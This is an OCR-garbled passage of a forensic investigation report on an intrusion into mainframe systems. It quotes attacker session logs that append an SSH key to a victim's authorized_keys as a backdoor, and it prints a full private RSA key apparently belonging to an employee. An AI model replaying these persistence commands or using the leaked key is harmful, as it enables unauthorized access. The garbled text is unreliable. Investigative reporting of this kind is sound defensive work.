UNXCM D.SY19. FROM0229.txt : 5Ma r12 14 : 14 BSN0058 TCPFTP7 178. 18 .243 .27 BPXWREXC 

Figure 93 Extra et of some of the dates, job name and user names for the user running the REXX 

Other noteworthy events 
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SSH keys where added to the SSH key fi l e  of seve ra l of the cam pram i sed accou nts, i nc l ud i ng  

WMSTOTI and  AVIY991 .  By  add i ng new ssh  key fi les, the  perpetratar created add it iona l ways 

a nd  backdoors to be a b le  to get i nta SY19, in case othe r  ways where d i sab led or  b locked . 

An exa mp le  of th i s  i s  s hown i n  the fo l l owi ng extract from a sess ion  l og obta i ned the po l i ce .  The 

h i gh l ighted com mands and  command  output a re of i m porta nce.  

c d  - avi y 9 9 1  

pwd 
l s 

/ u / e 8 9 7 / avi y 9 9 1  

h 

l 

l s  - l a  

t o t a l  7 2  

drwx - - - - - - +  5 
d r - x r - x r - x  1 8 1  

drwx - - - - - - 2 

drwx- - - - - - +  2 

drwx - - - - - - +  2 

c d  . s s h  

l s  - a l  

t o t a l  4 8  
drwx- - - - - - 2 

drwx - - - - - - +  5 

- rw- r - - r - - l 

- r -x r - x r - x  l 

AVI Y 9 9 1  

S U PE RU S R  

AVI Y 9 9 1  

AVI Y 9 9 1  

AVI Y 9 9 1  

AVI Y 9 9 1  

AVI Y 9 9 1  

AVI Y 9 9 1  

SUPERUSR 

S TC GROU P 

S Y S l 

S TC GROU P 

S TC GROU P 

S T C GROU P 

S T C GROUP 

S T CGROUP 

S T C GROUP 

S TCGROUP 

8 1 9 2 Ma r l 0 5 : 2 5 

O Ma r 5 1 5 : 2 8  

8 1 9 2 Jan 2 7  0 9 : 2 8  . s sh 

8 1 9 2 Ma r l 0 5 : 2 5  h 

8 1 9 2 Nov 9 1 4 : 0 3 

8 1 9 2 Jan 2 7  0 9 : 2 8 

8 1 9 2 Mar l 0 5 : 2 5 

l 

8 1 5 Jan 2 7  1 0 : 1 2 autho r i z e d  keys 

4 0 4 Jan 27 0 9 : 2 8 autho r i z e d_ke ys . o l d  

e cho ' s s h - r s a  

AAAAB3NzaClyc2EAAAABJQAAAIEAl S ivj CJOvZxQWfQCJi tj k 6 Gbawcomco 

w z + j Kj JfqlmTR4E f i xrGP j pbn 7 f i aXp 9NTu2Uz 9ni Tqk j YBb 9FWgQ I TaPc 6 

GniquXYx8VUqWw8yh5yTJ8xE 3 3hzXsBXHsmlBr O RH j i fn0 s j j s rYX 9wCQ3W 

1Gs sxgXMgM2 TW1Qgdf4 3 PU= ' > a 

l s  - l  

t o t a l  2 4  

- rw - r - - - - - l SUPERUSR STCGROUP 2 0 9  Mar 5 1 5 : 2 8 a 
- rw- r - - r - - l AVI Y 9 9 1  S T CGROUP 

- r -x r - x r - x  l S UPERU S R  S T CGROUP 

cat a >> author i z ed_keys 

l s  - l  

t o t a l  2 4  

8 1 5  Jan 2 7  1 0 : 1 2 autho r i z e d_keys 

4 0 4  Jan 27 0 9 : 2 8 autho r i z e d_ke ys . o l d  

- rw- r - - - - - l S UPERU S R  S T C GROUP 2 0 9  M a r  5 1 5 : 2 8 a 

- rw- r - - r - - l AVI Y 9 9 1  STCGROUP 1 0 2 4  Mar 5 1 5 : 2 8 
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- r -x r - x r - x  l S UPERUSR STCGROU P  4 0 4  J a n  2 7  0 9 : 2 8 autho r i z e d_ke ys . o l d  

rm a 

c a t  auth * 

s s h - r s a  

AAAAB 3 N z a C l yc2 EAAAAB i wAAAQEAto i v fg JA2 g+NP s rpeh 7 kMvN 1 Q x S KDE o z u FTvKTnM4 uaWu e s g 8 B  

+ YLxxDYFxC S Q C I U s Rj Xo s H 3 F fPhl g i i Oq9 nOqi 4 L c 4 c 6 zxUN 9 7 I l y k 4 9XkQuV f 6 cbOiMB JL S 4 d 0 kF l  

KTAvwYb 7 j p G 8 h 3 UAtEWOVCp i 4 Gd8 g l l 7 URJo e Z cUva 4 9 i qv 3 x T 3 Jz bEAdG 6uwcSvb r 3V4 7 7 CN 6XtxE 

Ax 9QBn 7 iU7 7 PxKVa o 5 j VyW 9 0 eEhORl S 5 e 0mbKow5 oVk 9 cd4 / k 6YmaW2 Vx T s 1 4 QMAUQC PWE F / h f 4 k z D  

k 7 hOnw c S j 3 6 z Pb zvRH kMqJDs 2NHcLWCm7 z ihGtnW i y 8 Q 3 cvL2 PdvQ a 5 1 4 w== 

webmethÖ kuma r . c o rp . t e l e 2 . c om 

s s h - r s a  

AAAAB 3 N z a C l yc2 EAAAAB i wAAAQEAtCFyE kT / j t t FmuwYXSXks i O E 5A3 c j xu k 9 Q T qGxvfMcY j wqB l C 5  

DyAx iAw8 YeaKk9 FaVqW2 MCvh 5 B Sbm7 o Z tEEb DgYXEA4 5 2 YAEWdvR7 Ge iVo2 fbUqw lWVE 8 mDMTm9 o t g  

Tbe z qADz FDGbv3 9WJl i cnbgaTe 6 F kC xydKLqFFAe yBME Hqp S n DVC s 5 B / s e oudrcQc o + E L + a G O p / QwW 

I UbbduQ 5 z l r 7 1 H sb gVLHcWPXJ4 9u S l RQ 2 kCd0wxG O E C d 6 d i LwBe l h O Z Gs aaNv4 n /V Z K / 3 V I VqdMN / 2  

rwBFx k i 9XDUW2 3 Z r FN 9u t E DQqQmS K / L 2 EMOq 9 4 mxkyH Z + y r 5 RnkddnuQ 9 w== 

webmethömi u r a . t e l e 2 . s e  . . .  

s sh - r s a  

AAAAB3Nz aClyc2EAAAABJQAAAIEAl S ivj CJOvZxQWfQCJi tj k 6 Gbawcomco 

wz + j Kj JfqlmTR4E f i xrGP j pbn 7 f i aXp 9NTu2Uz 9 n i Tqk j YBb 9 FWgQI TaPc 6 

GniquXYx 8VUqWw8yh5yTJ8xE 3 3h zXsBXHsmlBrORH j i fn0 s j j s rYX9wCQ3W 

1Gs sxgXMgM2 TW1 Qgdf4 3 PU= 

s s h - r s a  

AAAAB 3 N z a C l yc2 EAAAAB i wAAAQEAt C F yE kT / j t t FmuwYXSX ks i O E 5A3 c j xu k 9 Q T qGxvfMcY j wqB l C 5  

DyAx iAw8 YeaKk9 FaVqW2MCvh 5 B Sbm7 o Z tE Eb DgYXEA 4 5 2 YAEWdvR7 Ge iVo2 fbUqwl WVE 8 mDMTm 9 o t g  

Tbe z qADz FDGbv3 9WJl i cnbgaTe 6 F kCxydKLqFFAe yBMEHqp S n DVC s 5 B / s eoudrcQc o + E L + a G O p / QwW 

I UbbduQ5 z l r 7 1 H sb gVLHcWPXJ4 9u S 1 RQ 2 kCd0wxG O E C d 6 d i LwBe l h O Z Gs aaNv 4 n /V ZK / 3 VI VqdMN/ 2 

rwBFxki 9 XDUW2 3 Z r FN 9utE DQqQmS K / L 2 EMOq 9 4 mxkyH Z + y r 5 Rn kddnu Q 9 w== 

webme thömi u r a . te l e 2 . s e . . .  

l s 

author i z ed keys 

author i z e d_keys . o l d  

pdw 

p dw : F S UM7 3 5 1  not found 

pwd 

/u/e 8 9 7 / aviy9 9 1 / . s sh 

Figure 94 Excerpt from session log showing addition of private ssh key 

The log file has been s/ightly edited to remave typing errors and /ogged contra! characters. The 

events and resu/ts are still correct. 

From the sess ion  l og, one ca n read  

• l t  is the ss h pub l i c  key fi l e of the aviy991 user be i ng man i p u l ated 
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Sidan 1 60 av 57 4 

Report 

• The content of fi l e  "a" i s then concatenated i nto the a uthorized_keys fi l e .  The 

tem pora ry fi l e i s  removed 
• The key fi le ,  a uthor i zed_keys, grows from 815 bytes to 1024 bytes 
• Th i s  event ha ppened Ma r  5 15 :28 accord i ng  to the ti me sta m p  of 

o The fi l e  created with name "a" 

o the u pdated fi l e  ca l l ed "a uthor i zed_keys" 

Reading public ssh key fil e s 

From sess ion  l ogs a nd  from system fi le  access l ogs we know that the perpetrators have had  a n  

i nterest i n  read i ng  ssh key fi l es .  Obta i n i ng these fi l es, o n e  ca n create a g ra ph  descri b i ng  which 

user have access to which hasts.  Th i s  ca n be of i nte rest to a perpetratar who wa nt to ga i n  

access t o  more mach i nes .  Th us  th i s  can b e  a n  enab ie r  t o  reach a n d  access more systems .  

l s  - l  

t o t a l  1 6  

- rw- r - - r - -

- r -x r - x r - x  

c a t  auth * 

l AVI Y 9 9 1  S T C GROUP 

l S UPERUSR S T CGROUP 

8 1 5  Jan 2 7  1 0 : 1 2 autho r i z e d_ke ys 

4 0 4  Jan 2 7  0 9 : 2 8 autho r i z e d_ke ys . o l d  

s s h- r s a  

AAAAB 3 N z aC l yc2 EAAAAB iwAAAQEAt o iv fgJA2 g +N P s rp e h 7 kMvN 1 Q x S KDE o zu FTvKTnM4 uaWu e s g 8 B  

+YLxxDYFxC S Q C I U s Rj Xo s H 3 F fP h l g i i O q 9 nOqi 4 L c 4 c 6 z x UN 9 7 I l yk4 9X kQuV f 6 cbOiMB JL S 4 d0 kF l  

KTAvwYb 7 j p G 8 h 3 UAtEWOVCp i 4 G d8 g l l 7 URJo e Z cUva 4 9 i qv 3x T 3 JzbEAdG 6uwcSvb r 3 V 4 7 7 CN 6XtxE 

Ax 9QBn 7 i U 7 7 PxKVa o 5 j VyW 9 0 eEhORl S 5 e 0mbKow 5 oVk 9 cd 4 / k 6YmaW2 Vx T s l 4 QMAUQC PWE F / h f 4 k z D  

k 7 hOnw c S j 3 6 z Pb zvRH kMqJDs 2NHcLWCm7 z ihGtnW i y 8 Q 3 cvL2 PdvQ a 5 1 4 w== 

webmethö kuma r . c o rp . t e l e 2 . c om 

s s h - r s a  

AAAAB 3 N z aC l yc 2 EAAAAB i wAAAQEAtC FyE k T / j t t FmuwYXS X k s i O E 5 A3 cj xu k 9 QT qGxvfMcY j wqB l C 5  

DyAx iAw 8 Ye aK k 9 FaVqW2MCvh 5 B Sbm7 o Z tEEb DgYXEA4 5 2 YAEW dvR7 Ge iVo2 fbUqw l WVE 8 mDMTm 9 o t g  

Tbe z qADz FDGbv3 9WJl i cnbga T e 6 F kCxydKLqFFAe yBMEHqp S n DVC s 5 B / s e oudrcQc o + E L + a G O p / QwW 

I UbbduQ 5 z l r 7 1 H s b gVLHcWPXJ4 9 u S l RQ 2 kCd0wxG O E C d 6 d i LwBe l h O Z Gs aaNv 4 n / V Z K / 3VI VqdMN / 2  

rwBFxk i 9XDUW2 3 Z r FN 9u t E DQqQmS K / L 2 EMOq 9 4 mxkyH Z + y r 5 RnkddnuQ 9 w== 

webmethömi u r  a .  t e l e 2 . s e  . . .  

s s h - r s a  

AAAAB 3 N z aC l yc2 EAAAAB i wAAAQEAt C F yE k T / j t t FmuwYXS X k s i O E 5 A3 cj xu k 9 QT qGxvfMcY j wqB l C 5  

DyAx iAw 8 Ye aK k 9 FaVqW2MCvh 5 B Sbm7 o Z tEEb DgYXEA4 5 2 YAEWdvR7 Ge iVo2 fbUqw l WVE 8 mDMTm9 o t g  

Tbe z qADz FDGbv3 9WJl i c nbgaTe 6 F kC xydKLqFFAe yBME H qp S n DVC s 5B / s e o u d r c Q c o + E L +a G O p / QwW 

I Ubbdu Q 5 z l r 7 1 H sb gVLHcWPXJ4 9 u S l RQ 2 kCd 0 wxG O E C d 6 d i LwBe l h O Z G s aaNv 4 n / V Z K / 3VI VqdMN / 2  

rwBFxk i 9 XDUW2 3 Z r FN 9u tE DQqQmS K / L 2 EMOq 9 4 mxkyH Z + y r 5 Rnkddnu Q 9 w== 

webmethömi u r a . te l e 2 . s e . . .  

pwd 

/ u / e 8 9 7 / av i y 9 9 1 / . s sh 

Figure 95 Extracted session where perpetratar l ists SSH publ ic keys 

The log fil e has been s/ightly edited to remove typ ing errors and logg ed con tro/ characters. The 

events and results are still correct. 

The ss h key fi l e s see m to exist i n  the d i rectory / u /  e 8  9 7 1  avi y 9  9 1 1 . s s  h 
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The ssh keys see m to be Iong to the "webmeth" user on  m u lt ip le  hasts at the com pa ny Te le2  

(te l e2 . se ) .  

Stealing private SSH keys 

Havi ng obta i ned the p rivate SSH key of a person, it is poss ib le  to use it to l og i n  as that person, 

i .  e .  hijack that account, on a l l  com puters where the correspond i ng pub l i c  SSH key have been 

sto red .  

W e  know that t h e  pe rpetratar have I i sted fi les on h i s  screen, t h u s  have been exposed t o  pub l i c  

a nd  private SSH keys . We  a l so know that t he  pe rpetratar have down loaded fi l es, i ncl ud i ng  

a rch ive fi l es o f  user home d i rector ies that i n c l ude  t he  user's . s s h  d i rectory, thus  have been 

ab le to access the ir  SSH keys . In  genera l ,  th i s  p rob lem is va l i d  for both SY19 and SYS3 

The fo l l owing pr ivate SSH key, stored in a fi l e  ca l l ed wmov/ae. id_rsa, have been obta i ned from 

the com puter that the i nvestigati ng po l i ce have been exa m i ned .  The name  ". i d_rsa" descr i be 

this as  a p rivate SSH key of type RSA key. 

- - - - -B E G I N  RSA PRIVATE KEY - - - - 

MI I CWg i BAAKBgQDd O M 6 t hS u 6 B 5 Gc j Q 6 5 wRx z lYmkcn DGxtX f C g 9 Yuml kcH 9 h 7 Afp 

L u f 9 d 0 QVMgyyj keUnt S j 9 y fU+H z Z xAUVnR4 PyGN Z Jmb 9 E / b TNC l Z Z sMk7 3 6 9 B Y k 8  

s 9 TkaYAl S + c T u 5 YK Z u GV z t DF T r ON 8 ZA+hEmWc / rrtdE4Afh 4 0H z 0 5 Wt +Vw i B i wKB 

gB1 Z s Thm/ a 7 c S y fVm0ht l l 2 qsKUU ZKkAx / w 7 qfuDBTAM2 l u l 8 kaJB JH /AHd z b yp Z  

Z 0 QvaMJI I c 8 yV2 1YOxhpukq7vl 3 I O kcB l / z l iM2pxpKZxdgF f 7 e 3 Q 3 r 4 D 7 Z o f f D 9  

z O GSp 8 aNaSvUe G 8 T 2 TpYWC o kCWiWah fuQupmQB 1 4 p 4 Z rAkEA/ kooTd7 E 4 d l YmTqf 
v i 6 2 eU 9 9 i z u a T 6 cn khvJ+Aaml t 2mS JOl dhdj SmODV+ 6Qmn 6 T / q9mz u 5 G Z 7 s ws l Z U  

Hph0 6wJBAN 90vDtYSuH7 l cKF s h yq 6 7 S s HUowGu C f SN z a 7 0 GS c Hf i 5 l sR5wNh i o E y  

Pqv0 7 2 THkbn5McLCoDVz x i Z l nu c Z MUUCQQ D 3 B j XH / PnFdA z s n l l Y F Z tRRee r 0 3 / l  

mxB / T j Hp oA+L Pbd5 s / / R z Z OnWVsE 9mCWF I / ENVyOgREx kUVA f 7 9uLbNnAkA ZhVdX 

PUp i + C 5 fX 7 yVj +B s a 3 E P yvvB 5 1 F4 U 4 kO z u h i N z BE 7 BpmyUXFn l e e n 6 Z UqRf 3 / z j j  

Du2 8 9 0mo 9 3 / f 5 Z 8 7 AkBS 4 7 6 5 uCGqi 2 tu kyWT ZW 0 i Q fbufUrTC c 3 y l cVxj 6A0 5 Rd 6  

p 3 myK+ eA/Wj 7 z G 4 yLLEOMPQT l o d 3 w z y 6 I C 6 JvHyT 
- - - - -END RSA PRI VATE KEY - - - - -

Figure 9 6  Private SSH key belonging t o  a Logi c a  employee found o n  per petrators computer 

Th us, by both add i ng pub l i c  SSH keys as a uthor ized keys on SY19 (see cha pter "Added pub l i c  

s sh  keys" page 157 )  a nd  a l so by  stea l i ng private SSH  keys, the perpetratar made s u re tha t  SSH 

cou l d  be used as a backdoor i f  other  ways of access i ng  the system where c losed . 

S i nce the perpetratar a l so down loaded the /etc d i rectory with a l l  content, the fi les  i n  the 

/etc/ssh d i rectory where a l so sto l en .  Th is  d i rectory conta i n, amongst othe r  th i ngs, the h ost 

keys for the SSH serv ice on the  SY19 mach i ne .  

Added pgp keys 

On the cam pram i sed system pgp keys where found  that be longed to user Service Center Skv. 

A l  so from th i s  PG P key we got the i m p ression  that they where u sed by "REX" a nd  "sup ro" . 

The fou nd  PGP key is i nc luded a s  "Append ix  CC: PGP  key found  on system" page 540. 

Changes to known hosts 

There where cha nges to the  SSH "known hasts" fi l e .  Th i s  fi l e  is norma l  ly u pdated when an SSH 

connection  i s  made .  
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F rom the fi rewa l l l ogs we have conc l uded that there have been attem pts to use ssh outgoi ng 

aga i n st other  s ites. From the l P  add resses we conc lude that there was a n  attem pt to reach the 

other  compan ies .  

Infotorg 

P I ,  a short for På l oggn i ng l nfotorg, i s  a softwa re com ponent  deve loped to he l  p 

l nfotorg/ App l i cate to : 

• a l l ow for a uthent ication  and  a uthorizat ion services for l nfotorg users. lt i s  a br idge 

between the actua l  web app l icat ion  p rovided from a PC  server, to con nect to the 

actua l  RACF a uthorizat ion back-end .  
• ease the ma nagement of users of the l nfotorg service 

l t  i s  be l i eved that the the P I  have been m i sused by the perpetrators, a n d  that they h ave used 

pr iv i l eged accou nts in PI to be ab le  to access i nformat ion a bout other  l nfotorg users .  

CICS sessions 

The fo l l ow ing sam ples of l i st i ngs of job runs  from the 41h of Apr i l show remarka b l e  patte rns .  

The fi rst one show that users ca l i ed DAFxxxx have runned jobs .  These jobs a re created as  a 

resu lt of activit ies at the l nfotorg web s ite .  The remarkab le  patte rn i s that the DAF user  na mes 

a re n u  m bered i n  an i ncreased ra nge. Another  th ing to notice i s  the t i me  of the day when these 

accou nts a re bei ng used . l t  sta rts very ea r ly in the morn i ng, wh ich  i s  not very I i ke iy for rea l  

users .  

Jobname Date Time Tran TaskÄ Program Term Userid L i fe time 

SEMC I CA 3  0 4 / 1 1 / 1 2  0 5 : 0 0 : 4 1 I T S 1  7 7 2 9 5  E 4 8 4 S S 1  DAF 6 1 4 7  0 . 0 2 7 4 6 5 

S EMC I CA 3  0 4 / 1 1 / 1 2  0 5 : 4 6 : 2 2 I T S 1  7 9 8 1 0  E 4 8 4 S S 1  DAF1348 0 . 0 9 5 3 7 9  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 5 : 4 6 : 2 3 I T S 1  7 9 8 1 6  E 4 8 4 S S 1  DAF1348 0 . 0 2 4 0 5 4  

SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 0 2 : 0 3 PA 0 7  8 0 7 4 5  E 8  9 7 TA 0 7  G 3 0 2  DAF1390 0 . 2 0 8 1 5 4  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 1 2 : 5 0 I T S 9  8 1 3 8 8  E 4 8 4 S S 1  DAF1 840 0 . 0 0 9 7 0 5  

SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 2 : 5 7 I T S 9 8 1 4 0 6  E 4 8 4 S S 1  DAF1 84 0 0 . 0 0 1 3 3 0  

SEMC I CA 3  0 4 / 1 1 / 1 2 0 6 : 1 3 : 1 9  I T S 7  8 1 4 2 1  E 4 8 4 S S 1  DAF1840 0 . 0 0 1 4 1 7  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 3 : 3 3 I T S 1  8 1 4 2 7  E 4 8 4 S S 1  DAF1 840 0 . 0 0 1 3 4 2  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 3 : 4 6  I T S 1  8 1 4 3 3  E 4 8 4 S S 1  DAF1 840 0 . 1 3 0 0 4 2  

S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 1 3 : 4 6 I T S 1  8 1 4 3 4  E 4 8 4 S S 1  DAF1 840 0 . 0 2 0 3 6 0  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 4 : 3 7 I T S 1  8 1 5 4 9  E 4 8 4 S S 1  DAF1 840 0 . 2 6 9 9 2 4  

SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 5 : 1 9 I T S 7  8 1 5 8 6  E 4 8 4 S S 1  DAF1 858 0 . 0 4 4 0 5 9  

S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 1 5 : 4 1 I T S 1  8 1 6 3 2  E 4 8 4 S S 1  DAF1 858 0 . 0 2 4 4 3 9  

SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 5 : 4 1 I T S 1  8 1 6 3 3  E 4 8 4 S S 1  DAF1 858 0 . 0 1 7 4 7 1  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 1 6 : 5 6 I T S 1  8 1 7 0 9  E 4 8 4 S S 1  DAF2500 0 . 0 2 4 0 3 4  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 1 6 : 5 7 I T S 1  8 1 7 1 0  E 4 8 4 S S 1  DAF2500 0 . 0 1 5 6 3 4  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 1 8 : 1 4 I T S 1  8 1 7 9 0  E 4 8 4 S S 1  DAF2505 0 . 0 2 0 7 8 6  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 1 8 : 1 5 I T S 1  8 1 7 9 1  E 4 8 4 S S 1  DAF2505 0 . 1 5 0 9 1 0  

SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 2 0 : 0 4 I T S 1  8 1 9 1 7  E 4 8 4 S S 1  DAF3238 0 . 0 2 8 1 9 8  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 2 0 : 0 4 I T S 1  8 1 9 1 8  E 4 8 4 S S 1  DAF3238 0 . 0 1 4 9 6 6  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 2 0 : 2 4 I T S 1  8 1 9 5 0  E 4 8 4 S S 1  DAF3238 0 . 0 1 5 9 9 4  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 2 0 : 2 4 I T S 1  8 1 9 5 0  E 4 8 4 S S 1  DAF3238 0 . 0 1 5 9 9 4  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 2 0 : 2 9 I T S 1  8 1 9 5 5  E 4 8 4 S S 1  DAF3238 0 . 0 1 5 1 3 5  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 2 0 : 3 0 I T S 1  8 1 9 5 6  E 4 8 4 S S 1  DAF3238 0 . 0 2 2 7 7 7  
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SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 2 0 : 3 0 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2 0 6 : 3 2 : 2 2 I T S 9  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 2 : 4 5 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 2 : 4 6 I T S 1  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 3 : 0 3 I T S 7  

S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 4 : 1 2 I T S 1  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 4 : 2 2 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 4 : 2 4 I T S 1  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 4 : 3 7 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 4 : 4 0 I T S 1  

SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 0 3 I T S 9  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 0 3 I T S 9  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 1 0 I T S 9  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 1 0 I T S 9  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 1 9 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2 0 6 : 3 8 : 3 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 3 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 3 2 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 3 2 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 3 4 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 4 7 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 4 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 3 8 : 4 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 6 : 1 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 6 : 2 5 I T S 9  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 0 4 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 0 5 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 1 9 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 2 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 3 0 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 3 2 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 7 : 5 2 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 8 : 2 0 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 8 : 3 6 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 8 : 3 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 0 9 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 1 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 2 0 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 3 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 3 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 4 6  I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 4 9 : 4 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 0 : 1 0 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 0 : 1 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 0 : 4 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 0 : 4 8 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 1 : 3 1 I T S 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 1 : 3 2 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 1 : 5 1 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 1 : 5 2 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 2 : 1 4 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 2 : 1 5 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 2 : 4 3 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2 0 6 : 5 2 : 4 4 I T S 1  
SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 3 : 0 3 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 3 : 0 4 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 3 : 1 2 I T S 1  
SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 3 : 1 3 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 3 : 1 3 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 3 : 4 6 I T S 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 3 : 4 6 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 3 : 4 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 4 : 0 8 I T S 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 4 : 0 9 I T S 1  

8 1 9 5 7  E 4 8 4 S S 1  

8 2 8 1 2  E 4 8 4 S S 1  

8 2 8 4 2  E 4 8 4 S S 1  

8 2 8 4 9  E 4 8 4 S S 1  

8 2 8 8 1  E 4 8 4 S S 1  

8 2 9 7 0  E 4 8 4 S S 1  

8 3 0 0 2  E 4 8 4 S S 1  

8 3 0 0 6  E 4 8 4 S S 1  

8 3 0 2 1  E 4 8 4 S S 1  

8 3 0 2 5  E 4 8 4 S S 1  

8 3 2 9 8  E 4 8 4 S S 1  
8 3 2 9 9  E 4 8 4 S S 1  
8 3 3 1 4  E 4 8 4 S S 1  
8 3 3 1 5  E 4 8 4 S S 1  
8 3 3 2 6 E 4 8 4 S S 1  
8 3 3 3 1  E 4 8 4 S S 1  
8 3 3 3 3  E 4 8 4 S S 1  
8 3 3 3 4  E 4 8 4 S S 1  
8 3 3 3 4  E 4 8 4 S S 1  
8 3 3 3 7  E 4 8 4 S S 1  
8 3 3 5 6  E 4 8 4 S S 1  
8 3 3 5 7  E 4 8 4 S S 1  
8 3 3 5 8  E 4 8 4 S S 1  
8 4 0 8 4  E 4 8 4 S S 1  
8 4 1 0 9  E 4 8 4 S S 1  
8 4 1 7 4  E 4 8 4 S S 1  
8 4 1 7 7  E 4 8 4 S S 1  
8 4 1 9 7  E 4 8 4 S S 1  
8 4 1 9 8  E 4 8 4 S S 1  
8 4 2 1 8  E 4 8 4 S S 1  
8 4 2 1 9  E 4 8 4 S S 1  
8 4 2 5 2  E 4 8 4 S S 1  
8 4 2 9 3  E 4 8 4 S S 1  
8 4 3 1 6  E 4 8 4 S S 1  
8 4 3 1 7  E 4 8 4 S S 1  
8 4 3 9 1  E 4 8 4 S S 1  
8 4 3 9 8  E 4 8 4 S S 1  
8 4 4 4 3  E 4 8 4 S S 1  
8 4 4 7 3  E 4 8 4 S S 1  
8 4 4 7 3  E 4 8 4 S S 1  
8 4 4 9 1  E 4 8 4 S S 1  
8 4 4 9 2 E 4 8 4 S S 1  
